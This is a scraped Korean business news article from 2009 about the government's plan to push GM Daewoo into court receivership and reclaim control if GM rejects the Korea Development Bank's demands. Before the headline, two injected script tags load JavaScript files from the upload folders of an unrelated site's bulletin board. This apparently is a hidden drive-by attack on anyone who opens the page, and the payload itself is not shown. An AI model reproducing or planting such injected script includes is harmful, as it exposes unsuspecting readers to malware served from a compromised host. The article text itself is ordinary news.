<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> \"GM대우 파산후 독자생존 검토\"
[매일경제] 2009년 10월 09일(금) 오전 07:25 가 가| 이메일| 프린트
정부가 GM대우에 대한 국내 채권단의 요구조건을 GM이 수용하지 않을 경우 경영권을 회수해 독자 생존시키는 방안도 추진하겠다는 입장을 밝혔다.
정부 고위 관계자는 8일 \"GM이 우리 측 요구를 받아들이지 않고 자금 지원만 요청한다면 GM대우를 법정관리로 보낼 것\"이라며 \"출자전환, 감자 등을 통해 경영권을 회수하고 독자 생존을 추진하는 시나리오도 가능하다\"고 말했다.
산업은행은 GM대우 지분 28%를 보유한 주요 주주지만 현재로서는 이익배당 요구나 어떤 형태의 경영참여 통로도 보장받을 수 없다는 것이 정부 시각이다. 만약 정부의 이 같은 시나리오가 현실화되면 산은이 GM대우의 여신 회수에 착수하는 것을 시작으로 GM대우의 파산신청과 법정관리, 대주주 지분소각을 통한 경영권 회수, 독자 생존 추진 등의 처리 절차를 밟게 된다. 앞서 산업은행은 GM 측이 GM대우에 대해 △최소 5년 이상의 물량 보장 △자동차 기술 라이선스 공유 등 요구조건을 수용해 명문화하지 않으면 증자에 참여하지 않는 것은 물론 앞으로 만기 도래하는 선물환 계약과 대출 등을 회수하겠다고 압박했다.
이와 관련해 프리츠 핸더슨 GM 회장은 오는 14일 방한해 산업은행 관계자들과 만나 산은 측 요구에 대한 수용 범위를 협상할 예정이다.
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